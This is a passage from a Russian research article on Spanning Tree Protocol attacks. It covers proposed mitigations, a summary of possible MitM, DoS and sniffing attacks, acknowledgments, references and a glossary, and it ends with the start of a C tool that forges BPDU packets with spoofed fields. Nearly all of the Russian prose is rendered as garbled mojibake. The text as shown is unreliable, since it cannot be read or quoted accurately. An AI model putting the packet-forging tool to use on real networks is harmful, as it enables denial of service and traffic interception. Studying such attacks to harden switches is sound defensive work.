òåëÿìè ñåòåâîãî îáîðóäîâàíèÿ. Íèæå îïèñûâàþòñÿ âîçìîæíûå ìåòîäû
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ðåøåíèÿ, ÷àñòü èç êîòîðûõ, ðàçóìååòñÿ, ìîæåò ïî ðàçëè÷íûì ïðè÷èíàì
ïîêàçàòüñÿ ñïîðíîé.

Ìû ðàñïîëîæèëè âàðèàíòû â ïîðÿäêå óâåëè÷åíèÿ ñëîæíîñòè èõ ïðè-
ìåíåíèÿ.

17 Êàê ïðîèçâîäèòåëè ìîãëè áû îòðåàãèðîâàòü
íà ïîÿâëåíèå â ïóáëè÷íîì äîñòóïå èíôîðìà-
öèè ïî STP-àòàêàì

1. Äî òåõ ïîð, ïîêà íå áóäóò íàéäåíû ëó÷øèå ïóòè, óñòðîéñòâà ¾èç
êîðîáêè¿ äîëæíû èãíîðèðîâàòü STP ïðîòîêîë, êàê ñäåëàíî, íà-
ïðèìåð, â êîììóòàòîðàõ Hewlett Packard HP212M è 224M (â íèõ
ïîääåðæêà STP ¾èç êîðîáêè¿ âûêëþ÷åíà). Ýòî ïîçâîëèò èçáåæàòü
àòàê â òåõ ñèòóàöèÿõ, êîãäà STP íå ÿâëÿåòñÿ æèçíåííî íåîáõîäè-
ìûì ýëåìåíòîì ñåòè (íàïðèìåð, â ñåòè ñ åäèíñòâåííûì êîììóòà-
òîðîì).

2. Ñëåäóåò îòêàçàòüñÿ îò ïðèíöèïà plug&play ïî îòíîøåíèþ ê ñå-
òè: íàïðèìåð, âûïóñòèâ íîâóþ âåðñèþ ñòàíäàðòà, êîòîðàÿ áóäåò
òðåáîâàòü ïåðåêîíôèãóðàöèè àäìèíèñòðàòîðîì íåêîåãî STP ïà-
ðîëÿ (æåëàòåëüíî íåòðàíñëèðóåìîãî íàïðÿìóþ â ñåòü), êîòîðûé
òðåáîâàëñÿ áû äëÿ ó÷àñòèÿ â èçìåíåíèè òîïîëîãèè ïî íîâîìó STP-
ïðîòîêîëó, è áåç ââîäà êîòîðîãî ïîääåðæêà STP áûëà áû âûêëþ÷å-
íà. Òàê ìîæíî áûëî áû çíà÷èòåëüíî óñëîæíèòü âîñïðîèçâåäåíèå
àòàêè íà òîïîëîãèþ ñåòè. Íè÷åãî îñîáåííî ñòðàøíîãî â òîì, ÷òî
óñòðîéñòâî ïåðåä ââîäîì â ïîëíîôóíêöèîíàëüíóþ ðàáîòó ñ ñåòüþ
íàäî áóäåò ÷óòü-÷óòü îòêîíôèãóðèðîâàòü íåò: îáû÷íî óñòðîéñòâà
âñå æå êîíôèãóðèðóþò, ïåðåä òåì, êàê çàäåéñòâîâàòü â ñëîæíûõ ñå-
òÿõ, à ñåòè, â êîòîðûõ STP ðàáîòàåò íå ïðîñòî òàê, à ñ ïîëüçîé, ÿâíî
ñëîæíåå îñòàëüíûõ, êîòîðûõ, êñòàòè, áîëüøèíñòâî.:) Êîíêðåòíàÿ
ðåàëèçàöèÿ ìîæåò áûòü âûïîëíåíà ñ èñïîëüçîâàíèåì èçâåñòíûõ
êðèïòîãðàôè÷åñêèõ ìåòîäîâ, íàïðèìåð, ïðè ïîìîùè Êîäîâ Ïîä-
òâåðæäåíèÿ Äîñòîâåðíîñòè (Message Authentication Code, MAC).
Äëÿ ýòîãî â ïðåäåëàõ ãðóïïû îáîðóäîâàíèÿ, êîòîðîå äîëæíî îá-
ðàçîâàòü stp-äåðåâî, âûáèðàåòñÿ ¾îáùèé ñåêðåò¿ (ïàðîëü, êëþ÷),
çàíîñèìûé â êàæäîå óñòðîéñòâî (ëó÷øå ñ ïîìîùüþ dip-switches
íà ïàíåëè, ò.å. àïïàðàòíî)34. Ïîñëå ýòîãî ïåðåä ïîñûëêîé BPDU-
ïàêåòà ê íåìó äîáàâëÿåòñÿ ñåêðåò, äëÿ âñåãî ìàññèâà (ïàêåò âìåñòå

34Òàêîé ïîäõîä ïîçâîëèò àâòîìàòè÷åñêè âûïîëíèòü è ïðåäûäóùóþ ðåêîìåíäà-
öèþ, åñëè ïîëîæåíèå ïåðåêëþ÷àòåëåé ïî óìîë÷àíèþ (¾âñå â 0¿) áóäåò îçíà÷àòü äëÿ
óñòðîéñòâà îòêëþ÷åíèå ïîääåðæêè STP.
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ñ ¾îáùèì ñåêðåòîì¿) ðàññ÷èòûâàåòñÿ çíà÷åíèå õåø-ôóíêöèè (íà-
ïðèìåð, SHA-1) è ïðèáàâëÿåòñÿ ê îòïðàâëÿåìîìó BPDU-ïàêåòó
(¾îáùèé ñåêðåò¿, åñòåñòâåííî, ïðè ýòîì íå ïåðåäàåòñÿ). Íà ïðè-
íèìàþùåé ñòîðîíå ê ïðèíÿòîìó ïàêåòó òàêæå äîáàâëÿåòñÿ ñåêðåò
è ðàññ÷èòûâàåòñÿ çíà÷åíèå õåø-ôóíêöèè, êîòîðîå ñðàâíèâàåòñÿ ñ
ïîëó÷åííûì â ïàêåòå. Â ðåçóëüòàòå ïîëó÷àòåëü óâåðåí, ÷òî ïàêåò
ïîñëàë êòî-òî èç ¾ñâîèõ¿ (îáëàäàþùèõ çíàíèåì ñåêðåòà), ïðè ýòîì
ñàì ñåêðåò ïî ñåòè íå ïåðåäàåòñÿ è íå ìîæåò áûòü ïåðåõâà÷åí çëî-
óìûøëåííèêîì äëÿ ïîñëåäóþùåãî èñïîëüçîâàíèÿ.

3. Êàæäîå óñòðîéñòâî, ïîääåðæèâàþùåå STP, äîëæíî èìåòü âîçìîæ-
íîñòü îòêëþ÷èòü îáðàáîòêó STP íà êàæäîì ïîðòó ïî îòäåëüíîñòè,
ýòî ðåàëèçóåòñÿ ïåðåïèñûâàíèåì óïðàâëÿþùåãî ñîôòà. Áåç âûïîë-
íåíèÿ ýòîãî óñëîâèÿ ïðèìåíåíèå òàêîãî óñòðîéñòâà â ñåòè ñòàíîâèò-
ñÿ íåáåçîïàñíûì. Ðàçóìååòñÿ, â ìîìåíò âûêëþ÷åíèÿ STP íà ïîðòó
àäìèíèñòðàòîð äîëæåí ïîíèìàòü, ÷òî îí ëèøàåòñÿ âîçìîæíîñòè
èñïîëüçîâàòü ïðåèìóùåñòâà STP è ñòàâèò ñåáå ïîòåíöèàëüíóþ ëî-
âóøêó. Îäíàêî åñòü ìàññà ñëó÷àåâ, êîãäà ýòî îïðàâäàíî. Íàïðèìåð,
ïðåäîñòàâëåíèå êëèåíòàì ISP ñåðâèñà ïî Ethernet ñåòè - â ýòîì
ñëó÷àå ñåòè âñåãäà áóäóò ðàçäåëåíû è STP íà êëèåíòñêèõ ïîðòàõ
íèêîãäà íå ïðèíåñåò ïîëüçû. Ñ òî÷êè çðåíèÿ ðåàëèçàöèè, ïîðòû ñ
âûêëþ÷åííîé ïîääåðæêîé STP äîëæíû ïðîñòî îòáðàñûâàòü ëþáûå
STP-BPDU è íå äîëæíû ïîñûëàòü íèêàêèõ STP-BPDU.

4. Êðàéíå æåëàòåëüíî, ÷òîáû êàæäîå STP-ñîâìåñòèìîå óñòðîéñòâî
ïîääåðæèâàëî êîìàíäó, àíàëîãè÷íóþ êîìàíäàì Ñisco STP portfast
è BPDU-guard. Ýòî ïîçâîëèëî áû èçáåæàòü íåêîòîðûõ òèïîâ DoS
(STP portfast), à òàêæå (BPDU-guard) ëîêàëèçîâàòü ñåãìåíò ñ àòà-
êóþùèì.

5. Êàæäîå óñòðîéñòâî, ïîääåðæèâàþùåå è STP, è VLANû, äîëæíî
ïîääåðæèâàòü îòäåëüíîå STP-äåðåâî íà êàæäûé VLAN, â ïðîòèâ-
íîì ñëó÷àå àòàêà â îäíîì VLAN ìîæåò ïðèâåñòè ê îòêàçó ðàáîòû
âñåé ñåòè (íàïðèìåð, â ñëó÷àå èñïîëüçîâàíèÿ intel 460T ñ âêëþ÷åí-
íûì STP).

6. Àëãîðèòì ðàáîòû STP äîëæåí áûòü ïåðåñìîòðåí: íà èñïîëüçóå-
ìûå àëãîðèòìîì òàéìàóòû äîëæíû áûòü íàëîæåíû áîëåå æåñòêèå
îãðàíè÷åíèÿ, òàêèå, ÷òîáû ñòàëà íåâîçìîæíîé ïîñòîÿííàÿ ðåêîí-
ôèãóðàöèÿ óñòðîéñòâ, ïðè êîòîðîé âðåìÿ, ïðîâîäèìîå â ñîñòîÿíè-
ÿõ ñ çàïðåùåííîé òðàíñëÿöèåé ôðåéìîâ, íå ìîæåò áûòü áîëüøå
âðåìåíè óñòàðåâàíèÿ èíôîðìàöèè.

7. Ïðîòîêîë STP òðåáóåò äîðàáîòêè â ÷àñòè âíåñåíèÿ â íåãî ôóíêöèé
îáåñïå÷åíèÿ àóòåíòè÷íîñòè è öåëîñòíîñòè ïåðåäàâàåìîé èíôîðìà-
öèè (ïàêåòîâ BPDU), íàïðèìåð, ñ ïðèìåíåíèåì êðèïòîãðàôè÷åñ-
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êèõ ìåòîäîâ. Ýòî ïîçâîëèëî áû èçáåæàòü ñèòóàöèè êîãäà êîíôèãó-
ðàöèÿ èçìåíÿåòñÿ àòàêóþùèì â ëþáîé ìîìåíò âðåìåíè ïîñðåäñò-
âîì ïîñûëêè bpdu îò èìåíè äðóãîãî óñòðîéñòâà.

8. Ñïåöèôèêàöèÿ àëãîðèòìà STP (êàê è ïðî÷èõ àäìèíèñòðàòèâíûõ
ïðîòîêîëîâ, ðàáîòàþùèõ íà 2-ì óðîâíå OSI), à òàêæå ñïåöèôèêà-
öèÿ êàíàëüíîãî óðîâíÿ âñåõ LAN ìîãóò áûòü ðàñøèðåíû òàêèì îá-
ðàçîì, ÷òîáû NIC'è ôèçè÷åñêè íå ìîãëè îáùàòüñÿ ñ óñòðîéñòâàìè,
îáñëóæèâàþùèìè ñåòü (ìàðøðóòèçàòîðû, ìîñòû, êîíöåíòðàòîðû
è ò.ï.) ñ èñïîëüçîâàíèåì àäìèíèñòðàòèâíûõ ïðîòîêîëîâ. Èíûìè
ñëîâàìè, àäìèíèñòðàòèâíûå ïðîòîêîëû, èñïîëüçóåìûå êîììóòàòî-
ðàìè äëÿ îïðåäåëåíèÿ òîïîëîãèè, ìîãëè áû ðàáîòàòü ñ èñïîëüçîâà-
íèåì îòäåëüíîé ñõåìû ýëåêòðè÷åñêîé ñèãíàëèçàöèè (äðóãîé âîëü-
òàæ èëè ìåòîä êîäèðîâàíèÿ ñèãíàëà). Ïîñêîëüêó ñåòåâûå àäàïòå-
ðû êîíå÷íûõ óñòðîéñòâ íå áóäóò èìåòü òàêîé ñõåìû, îíè ôèçè÷åñ-
êè íå ñìîãóò âìåøàòüñÿ â ðàáîòó àäìèíèñòðàòèâíûõ ïðîòîêîëîâ.
Ýòîò âàðèàíò èçìåíåíèÿ ïðîòîêîëà ïðåäñòàâëÿåòñÿ ìàëî ïåðñïåê-
òèâíûì. Âî-ïåðâûõ, îí äîñòàòî÷íî ñëîæåí â ðåàëèçàöèè (íåîáõîäè-
ìî ïåðåïðîåêòèðîâàòü àïïàðàòíóþ ÷àñòü). Âî-âòîðûõ, àïïàðàòíàÿ
íåñîâìåñòèìîñòü îñòàíîâèò ëèøü ÷àñòü ëè÷íîñòåé ñ äåñòðóêòèâ-
íûìè íàêëîííîñòÿìè (íå óìåþùèõ äåðæàòü â ðóêàõ ïàÿëüíèê). Â-
òðåòüèõ, ñðàçó æå âñòàåò âîïðîñ îáðàòíîé ñîâìåñòèìîñòè ñ ðàíåå
âûïóùåííûì îáîðóäîâàíèåì. Òàêèì îáðàçîì, íåñìîòðÿ íà ñåðüåç-
íûå çàòðàòû, îí íå ÿâëÿåòñÿ ïàíàöååé.

9. Âîçìîæíî, ñëåäóåò èçìåíèòü STP ïðîòîêîë òàêèì îáðàçîì, ÷òîáû
ïîëüçîâàòåëüñêèå ôðåéìû ïåðåäàâàëèñü âñåãäà, ïðåäóñìîòðåâ ïðè
ýòîì äîïîëíèòåëüíóþ ìàðêèðîâêó ôðåéìîâ, ïåðåäàííûõ â ïåðèîä
ðåêîíôèãóðàöèè ìàðêåðîì, êîòîðûé ïîìîãàë áû óíè÷òîæàòü èõ
ïî ïðîøåñòâèè íåêîòîðîãî òàéìàóòà - â êîíöå êîíöîâ íå òàê óæ è
ìíîãî óðîíà ñåòè íàíåñóò ïðîäóáëèðîâàííûå ïî ðàçíûì êàíàëàì
ôðåéìû, â îòëè÷èå îò îïèñàííûõ â ýòîé ñòàòüå DoS àòàê.

10. Âîçìîæíî, ñòîèò ñîçäàâàòü áîëåå ñëîæíûå àäìèíèñòðàòèâíûå ïðî-
òîêîëû - ñ óñòàíîâëåíèåì ñîåäèíåíèÿ (ïîäîáíî tcp). Ýòî ìîæåò
ñåðüåçíî óñëîæíèòü ñïóôèíã êîíôèãóðàöèîííûõ ñîîáùåíèé.

11. Òàêæå, âîçìîæíî, ñòîèò ðàñøèðèòü STP òàêèì îáðàçîì, ÷òîáû
óñòðîéñòâà çàïðàøèâàëè ïîäòâåðæäåíèÿ ïðîèñõîäÿùåãî ïîâåðõ çà-
áëîêèðîâàííûõ êàíàëîâ â òåõ ñëó÷àÿõ, êîãäà ýòî âîçìîæíî. Òàêàÿ
ìîäèôèêàöèÿ îòáðîñèò âîçìîæíîñòü îïðåäåëåííûõ ïîäâèäîâ àòàê
(â ÷àñòíîñòè, MitM).
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18 Ýïèëîã
Õî÷åòñÿ âåðèòü, ÷òî ïðàêòè÷åñêè ïîëíîå îòñóòñòâèå â ñåòåâûõ ïðî-

òîêîëàõ 2-ãî óðîâíÿ OSI ñðåäñòâ àóòåíòèôèêàöèè ñóùíîñòåé àäìèíèñò-
ðàòèâíûõ ïðîòîêîëîâ, à òàêæå èãíîðèðîâàíèå äðóãèõ îñíîâ ïîñòðîåíèÿ
áåçîïàñíûõ ñèñòåì (çà èñêëþ÷åíèåì, ðàçâå ÷òî, êîíöåïöèè VLAN-divided
ñåòåé), âûçâàíî èñêëþ÷èòåëüíî áåñïå÷íîñòüþ àâòîðîâ ýòèõ ïðîòîêîëîâ,
ñîçäàâàâøèõ èõ âî âðåìåíà, êîãäà î áåçîïàñíîñòè ïî÷òè íå áåñïîêîè-
ëèñü, à íå ðåçóëüòàò ¾äåìîêðàòè÷íîñòè¿ çàêîíîâ ÑØÀ, îáÿçûâàþùèõ
îñòàâëÿòü ÷åðíûå õîäû äëÿ ñîòðóäíèêîâ ñïåöñëóæá.

18.1 Êðàòêî: ÷òî ìîæíî ñäåëàòü ñ ïîìîùüþ íåöåëåâîãî
ïðèìåíåíèÿ STP?

1. Çëîóìûøëåííèê ìîæåò îñóùåñòâèòü MitM-àòàêó (man-in-the-middle
- ¾÷åëîâåê ïîñåðåäèíå¿), åñëè åãî ðàáî÷àÿ ñòàíöèÿ ïîäêëþ÷åíà
äâóìÿ èëè áîëåå èíòåðôåéñàìè ê ðàçëè÷íûì STP-ñîâìåñòèìûì
óñòðîéñòâàì, íàïðèìåð, êîììóòàòîðàì (switches).

2. Çëîóìûøëåííèê èìååò âîçìîæíîñòü îñóùåñòâèòü àòàêó íà îòêàç
â îáñëóæèâàíèè (DoS) äàæå åñëè åãî ðàáî÷àÿ ñòàíöèÿ èìååò âñå-
ãî îäèí ñåòåâîé èíòåðôåéñ, ïðè óñëîâèè, ÷òî ôóíêöèîíèðóþùèå â
ñåòè STP-ñîâìåñòèìûå óñòðîéñòâà íå ïîääåðæèâàþò BPDU-guard
èëè STP portfast, à òàêæå â ñëó÷àå, åñëè óêàçàííûå âîçìîæíîñòè
íà ýòèõ óñòðîéñòâàõ ïðîñòî íå çàäåéñòâîâàíû.

3. Â ñëó÷àå, êîãäà STP-ñîâìåñòèìûå óñòðîéñòâà â ñåòè ïîääåðæèâà-
þò STP portfast, çëîóìûøëåííèê ìîæåò ñïðîâîöèðîâàòü ñèòóàöèþ,
êîãäà STP-ñîâìåñòèìûé êîììóòàòîð (switch) ïåðåõîäèò â ðåæèì
êîíöåíòðàòîðà (hub), è ïðîñëóøèâàòü ïðè ïîìîùè ñåòåâîãî àíàëè-
çàòîðà âåñü òðàôèê ìåæäó óçëàìè ñåòè, ïîäêëþ÷åííûìè ê ýòîìó
êîììóòàòîðó. Ýòà àòàêà ÷àñòè÷íî ðåàëèçóåìà òàêæå è äëÿ ñëó÷àÿ
ñ íåñêîëüêèìè êîììóòàòîðàìè, õîòÿ ðàñ÷åòû íåìíîãî óñëîæíÿòñÿ.

18.2 Êðàòêî: ÷åãî íåëüçÿ ñäåëàòü ñ ïîìîùüþ íåöåëåâîãî
ïðèìåíåíèÿ STP?

1. Íåâîçìîæíî îðãàíèçîâàòü STP-MitM àòàêó, èìåÿ òîëüêî îäèí ñå-
òåâîé èíòåðôåéñ, íî ýòî ñòàíîâèòñÿ âîçìîæíûì â ñëó÷àå, åñëè ýòîò
èíòåðôåéñ ïîäêëþ÷èòü ê êîíöåíòðàòîðó, ïðè ýòîì ïîâåäåíèå STP-
ñîâìåñòèìîãî óñòðîéñòâà íåî÷åâèäíî.

2. Çëîóìûøëåííèê íå ìîæåò ïðîèçâîäèòü èçìåíåíèÿ â òîïîëîãèè ñå-
òè, áóäó÷è ïîäêëþ÷åííûì òîëüêî ê îäíîìó ïîðòó êîììóòàòîðà, íå
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ñïðîâîöèðîâàâ ïðè ýòîì îòêàç â îáñëóæèâàíèè (DoS) äëÿ êàêîé-
ëèáî ÷àñòè ñåòè. Çëîóìûøëåííèê íå ìîæåò ðåàëèçîâàòü èçìåíå-
íèÿ â òîïîëîãèè, êàñàþùèåñÿ íåêîòîðîãî ñåãìåíòà ñåòè, ïîäêëþ-
÷èâøèñü ê êîììóòàòîðó, êîòîðûé èìååò òîëüêî îäíî ñîåäèíåíèå ñ
ýòèì ñåãìåíòîì, íå ñïðîâîöèðîâàâ ïðè ýòîì îòêàç äîñòóïà ê ýòî-
ìó ñåãìåíòó èç òîé ÷àñòè ñåòè, êîòîðóþ çàòðàãèâàþò âíåñåííûå
èçìåíåíèÿ.

3. Â ethernet òåõíîëîãèè íåâîçìîæíî îðãàíèçîâàòü MitM àòàêó ñ ðà-
áî÷åé ñòàíöèè çëîóìûøëåííèêà äëÿ äâóõ êîíå÷íûõ óçëîâ ËÂÑ äî
òåõ ïîð, ïîêà íåò ôèçè÷åñêîãî êîëüöà ìåæäó ýòèìè òî÷êàìè. Õî-
ðîøèì ïðèìåðîì áóäåò ñëó÷àé äâóõ îáøèðíûõ ñåòåé, ñîåäèíåííûõ
ìåæäó ñîáîé ïî åäèíñòâåííîìó íå äóáëèðóåìîìó êàáåëþ. Â òàêîì
ñëó÷àå îðãàíèçîâàòü MitM ìåæäó ñòàíöèÿìè â ðàçíûõ ñåòÿõ íå-
âîçìîæíî áåç ïðîêëàäêè êàáåëÿ äëÿ îðãàíèçàöèè êîëüöà. Òàêîå
êîëüöî ìîæåò áûòü îáðàçîâàíî ñàìèì çëîóìûøëåííèêîì, åñëè îí
èìååò ôèçè÷åñêèé äîñòóï ê êîììóòàòîðàì ýòîé ñåòè è ïîðòû êîì-
ìóòàòîðà ïî óìîë÷àíèþ âêëþ÷åíû (íàñòðîéêè ïî óìîë÷àíèþ äëÿ
âñåõ èçâåñòíûõ àâòîðàì óñòðîéñòâ).

19 Áëàãîäàðíîñòè
19.1 Îëåã Àðòåìüåâ
Õî÷ó ñêàçàòü ñïàñèáî:

• Ìîåé æåíå, Âèêòîðèè Àðòåìüåâîé � çà òåðïåíèå ïðîÿâëåííîå â ìî-
ìåíòû, êîãäà ÿ óäåëÿë âðåìÿ èñêëþ÷èòåëüíî êîìïüþòåðó è äîêó-
ìåíòàöèè.

• Metaltelecom ISP (www.mtcm.ru) è ÌÈÑèÑ (www.misis.ru) � çà èí-
òåðåñíóþ ðàáîòó è âîçìîæíîñòü èçó÷àòü èíòåëëåêòóàëüíîå ¾æåëå-
çî¿ íà ïðàêòèêå.

• Avaya Communications � çà îðãàíèçàöèþ òðåíèíãîâ ïî èõ ñåòåâûì
óñòðîéñòâàì.

• Íèêîëàþ È. Ëàïòåâó, èíñòðóêòîðó Microinform � çà î÷åíü èíòåðåñ-
íûå ëåêöèè.

• Êîìïàíèè Microinform (www.microinform.ru) � çà ïðåäîñòàâëåíèå
ëàáîðàòîðíîãî îáîðóäîâàíèÿ äëÿ ïðîâåäåíèÿ èñïûòàíèé, à òàêæå,
åùå ðàç, Í.È. Ëàïòåâó, çà ñîäåéñòâèå â îðãàíèçàöèè ëàáîðàòîðíûõ
èññëåäîâàíèé â Microinform.

• Simple Nomad'ó è êîìàíäå www.nmrc.org � çà èõ FAQ'è, êîòîðûå
ïîääåðæàëè ìîé èíòåðåñ ê IT security.
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• Iron_Lung (i_L,ex-hrg, Russian Federation) � çà òî, ÷òî íàøåë äëÿ
ìåíÿ FAQ Nomad'îâñêèé è åùå ïðîñòî òàê. :)

• Ñåðãåþ Â. Ðàñíèêîâó <rserg@mtcmNOSPAM.ru> � çà òî, ÷òî îá-
ðàòèë ìîå âíèìàíèå íà ñîñóùåñòâîâàíèå VLAN è STP, à òàêæå çà
êîììåíòàðèè ê ìîèì èäåÿì.

• Âëàäèñëàâó Ìÿñíÿíêèíó, ìîåìó ñîàâòîðó â ýòîé ñòàòüå � çà òî, ÷òî
ñîãëàñèëñÿ ïîó÷àñòâîâàòü â ðàçðàáîòêå, è ïðîñòî ïîòîìó, ÷òî îí �
èíòåðåñíûé ÷åëîâåê.:)

• Íåêîòîðûì ïðåïîäàâàòåëÿì Ìîñêîâñêîãî Àâèàöèîííîãî èíñòèòó-
òà, îñîáåííî ã-íó Ðîãîâöåâó À. À. (13 ô-ò) � çà óìåíèå çàèíòåðåñî-
âàòü ïðåäìåòîì è ñòèëü âåäåíèÿ çàíÿòèé.

• Äìèòðèþ Ãîëóáåâó <dgoloube@ciscoNOSPAM.com> � çà êîììåí-
òàðèè ê ïåðâîìó âàðèàíòó ñòàòüè è àêòèâíîå åå îáñóæäåíèå.

19.2 Âëàäèñëàâ Ìÿñíÿíêèí
Õî÷åòñÿ ñêàçàòü ñïàñèáî:

• Ìîåé ñåìüå � çà ïîíèìàíèå è çàáîòó âî âðåìÿ íî÷íûõ áäåíèé ïåðåä
ìîíèòîðîì.

• Îëåãó Àðòåìüåâó � çà åãî îðèãèíàëüíûé è íåñòàíäàðòíûé ïîäõîä
ê èçó÷åíèþ ñåòåâûõ òåõíîëîãèé, à òàêæå çà òî, ÷òî ÿ ñìîã ïîó÷àñò-
âîâàòü â ìåðó ñèë è âîçìîæíîñòåé â ýòîì ïðîåêòå è ÷òî îí òåðïèìî
îòíîñèëñÿ ê ìîåé áåçûíèöèàòèâíîñòè â ïðîöåññå ðåàëèçàöèè. ;)

• Êîíñòàíòèíó Òàéòóðîâó � çà òî, ÷òî â 1995 ãîäó îí ïðèòàùèë ìíå
äðåâíèé äèñòðèáóòèâ Slackware Linux è ðàññêàçàë, ÷òî ýòî ðóëåç.

• Donald E. Knuth, ïðèäóìàâøåìó TEX. Èñïîëüçîâàííàÿ ïðè ïîäãî-
òîâêå äàííîãî äîêóìåíòà ñèñòåìà LATEX2ε ñýêîíîìèëà íàì ìàññó
âðåìåíè è ïîìîãëà ñòðóêòóðèðîâàòü ìàòåðèàë íå òîëüêî íà áóìàãå,
íî è, ÷òî âàæíåå, â ãîëîâå.
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20 Ññûëêè íà ñâÿçàííûå ñ ýòèì èññëåäîâàíèåì
ñòàòüè, ñòàíäàðòû, îáçîðû è äðóãàÿ ñïðàâî÷-
íàÿ èíôîðìàöèÿ

20.1 Ññûëêè, îòíîñÿùèåñÿ ê Spanning Tree
1. http://www.protocols.com/pbook/bridge.htm#BPDU

2. Îïèñàíèå STP port fast â Cisco.
http://www.cisco.com/warp/public/473/65.html

3. Îáçîð ïî troubleshooting c STP.
http://www.cisco.com/warp/public/473/5.html#tshoot

4. Îáùàÿ ñòàòüÿ cisco ïî STP.
http://www.cisco.com/warp/public/473/#SpanningTree

5. Îïèñàíèå ïîääåðæêè STP â 3COM SuperStack II Switch 1000 User
Guide.
http://support.3com.com/infodeli/tools/switches/s_stack2/
3c16902/manual.a02/chap51.htm

20.2 Ññûëêè, îòíîñÿùèåñÿ ê òåìå ¾bridging¿
1. http://bridge.sourceforge.net/

2. http://www.freebsd.org/handbook/bridging.html

3. [FreeBSD-host / $] man bridge

4. [FreeBSD-host / $] links /usr/share/doc/handbook/bridging.html

20.3 Ññûëêè ïî êîíñòðóèðîâàíèþ ôðåéìîâ
1. http://netgroup-serv.polito.it/winpcap/

2. http://www.eeye.com/html/Research/Tools/libnetnt.html

3. http://www.packetfactory.net/libnet/

20.4 Open Systems Interconnection refernce model
1. http://www.rad.com/networks/1994/osi/osi.htm
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20.5 Äðóãèå èíòåðåñíûå ññûëêè
1. http://www.phenoelit.de/stuff/CiscoCDP.txt

2. Assigned numbers.
http://www.iana.org/numbers.html
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Ãëîññàðèé
ìîñò - bridge:

• äâóõïîðòîâûé êîììóòàòîð;
• íåêîå óñòðîéñòâî ñîåäèíÿþùåå äâà èëè áîëåå ñåãìåíòîâ LAN,

ïðè ýòîì, âîçìîæíî, ñ ðàçíûìè ìåòîäàìè MAC. Ðàáîòà òàêîãî
óñòðîéñòâà ìîæåò îïðåäåëÿòüñÿ ðàçëè÷íûìè ñòàíäàðòàìè, â
òîì ÷èñëå ðàçðàáîòàííûìè IEEE.

êîììóòàòîð - switch (ñì. òàêæå ìîñò).

òàáëèöà êîììóòàöèè - switching table, âíóòðåííÿÿ òàáëèöà ñîîòâåò-
ñòâèÿ port/mac[/vlan], èñïîëüçóåìàÿ óñòðîéñòâîì äëÿ êîììóòàöèè
ïàêåòîâ.

STP - Spaning Tree Protocol.

ST - â ðàìêàõ ýòîé ñòàòüè - Spaning Tree àëãîðèòì.

ËÂÑ - LAN, Local Area Network, Ëîêàëüíàÿ Âû÷èñëèòåëüíàÿ Ñåòü, ËÂÑ.

ISP - Internet Service Provider, ïîñòàâùèê óñëóã èíòåðíåò.

NIC - Network Interface Card, ñåòåâàÿ êàðòà.

cdp - cisco discovery protocol, èñïîëüçóåòñÿ â cisco óñòðîéñòâàõ äëÿ ïîëó-
÷åíèÿ èíôîðìàöèè î ¾ñîñåäíèõ¿ cisco óñòðîéñòâàõ. Ñîáñòâåííîñòü
cisco.

BVI - Bridging Virtual Interface, íåêèé âèðòóàëüíûé èíòåðôåéñ, êîòî-
ðûé ìîæíî íàñòðîèòü íàïðèìåð íà ìàðøðóòèçàòîðå è òåì ñàìûì
óñêîðèòü åãî ðàáîòó çà ñ÷åò êîììóòàöèè, à íå ìàðøðóòèçàöèè ÷àñ-
òè ïàêåòîâ.
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A Ïðîãðàììà ôîðìèðîâàíèÿ ST ïàêåòîâ
/*
* Written 2001-09-23
*
* Copyright 2001 Vladislav V. Myasnyankin, Yekaterinburg Russia
* hugevlad@yahoo.com http://cybervlad.port5.com
* All rights reserved.
*
* WARNING! Be very careful, because you can occasionaly crash
* your network.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Library General Public License
* as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ‘‘AS IS’’ AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
* IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/

#include <stdio.h>
#include <unistd.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <netinet/if_ether.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#define DEFAULT_DEVICE "eth0"
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#define ETH_HW_ADDR_LEN 6

char usage[]={
"usage: stp \
[-v] \
[-dev <device>] \
[-dmac <dmac>] \
[-smac <smac>] \n\
-protoid <proto_id> \
-protovid <proto_v_id> \
-bpdu <bpdutype> \
-flags <flags> \n\
-rootid <rootid> \
-rootpc <rootpc> \
-brid <brid> \
-portid <portid> \
-mage <mage> \n\
-maxage <maxage> \
-htime <hellotime> \
-fdelay <fdelay> \n\
where:\n\
-v - be verbose and write output to file packet.dmp instead socket \n\
device - ethernet device name (default - eth0)\n\
dmac - destination MAC (default - 01:80:C2:00:00:00)\n\
smac - source MAC (default - MAC on given or default device)\n\
proto_id - Protocol Identifier (hex, 2 bytes)\n\
proto_v_id - Protocol Version Identifier (hex, 1 byte)\n\
bpdutype - BPDU type (hex, 1 byte)\n\
flags - flags value (hex, 1 byte)\n\
rootid - Root Identifier (hex, 8 bytes)\n\
rootpc - Root Path Cost (hex, 4 bytes)\n\
brid - Bridge Identifier (hex, 8 bytes)\n\
portid - Port Identifier (hex, 2 bytes)\n\
mage - Message Age (hex, 2 bytes)\n\
maxage - Max Age (hex, 2 bytes)\n\
hellotime - Hello Time (hex, 2 bytes)\n\
fdelay - Forward Delay (hex, 2 bytes)\n\
\n"};

struct bpdu_packet {
u_char targ_hw_addr[ETH_HW_ADDR_LEN]; /* dest. ether address */
u_char src_hw_addr[ETH_HW_ADDR_LEN]; /* src. ether address */
u_char frame_type[2]; /* 0x00 0x26 */
u_char llc_dest; /* 0x42 */
